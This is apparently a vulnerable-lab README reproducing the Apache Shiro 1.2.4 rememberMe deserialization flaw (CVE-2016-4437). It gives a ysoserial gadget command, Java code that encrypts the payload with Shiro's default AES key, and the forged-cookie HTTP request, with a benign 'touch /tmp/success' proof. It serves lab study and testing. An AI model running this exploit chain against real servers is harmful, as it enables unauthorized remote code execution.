Aaron
63285f61aa
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68 lines
2.1 KiB
Markdown
68 lines
2.1 KiB
Markdown
# Apache Shiro 1.2.4 Deserialization Remote Code Execution (CVE-2016-4437)
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[中文版本(Chinese version)](README.zh-cn.md)
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Apache Shiro is a powerful and easy-to-use Java security framework that performs authentication, authorization, cryptography, and session management.
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In Apache Shiro 1.2.4 and earlier versions, encrypted user information is serialized and stored in a cookie named "remember-me". Attackers can forge user cookies using Shiro's default key, triggering a Java deserialization vulnerability that allows arbitrary command execution on the target machine.
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## Environment Setup
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Execute the following command to start a Web application using Apache Shiro 1.2.4:
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```
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docker compose up -d
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```
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After the server starts, visit `http://your-ip:8080` and you can log in using the credentials `admin:vulhub`.
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## Vulnerability Reproduction
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Use ysoserial to generate a CommonsBeanutils1 Gadget:
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```
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java -jar ysoserial-master-30099844c6-1.jar CommonsBeanutils1 "touch /tmp/success" > poc.ser
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```
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Encrypt the payload using Shiro's built-in default key:
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```java
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package org.vulhub.shirodemo;
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import org.apache.shiro.crypto.AesCipherService;
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import org.apache.shiro.codec.CodecSupport;
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import org.apache.shiro.util.ByteSource;
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import org.apache.shiro.codec.Base64;
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import org.apache.shiro.io.DefaultSerializer;
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import java.nio.file.FileSystems;
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import java.nio.file.Files;
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import java.nio.file.Paths;
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public class TestRemember {
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public static void main(String[] args) throws Exception {
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byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("/path", "to", "poc.ser"));
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AesCipherService aes = new AesCipherService();
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byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));
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ByteSource ciphertext = aes.encrypt(payloads, key);
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System.out.printf(ciphertext.toString());
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}
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}
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```
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Then send the following request with the payload in the rememberMe cookie:
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```
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GET / HTTP/1.1
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Host: your-ip:8080
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Cookie: rememberMe=<encrypted_payload>
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```
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You will see the `touch /tmp/success` command has been executed:
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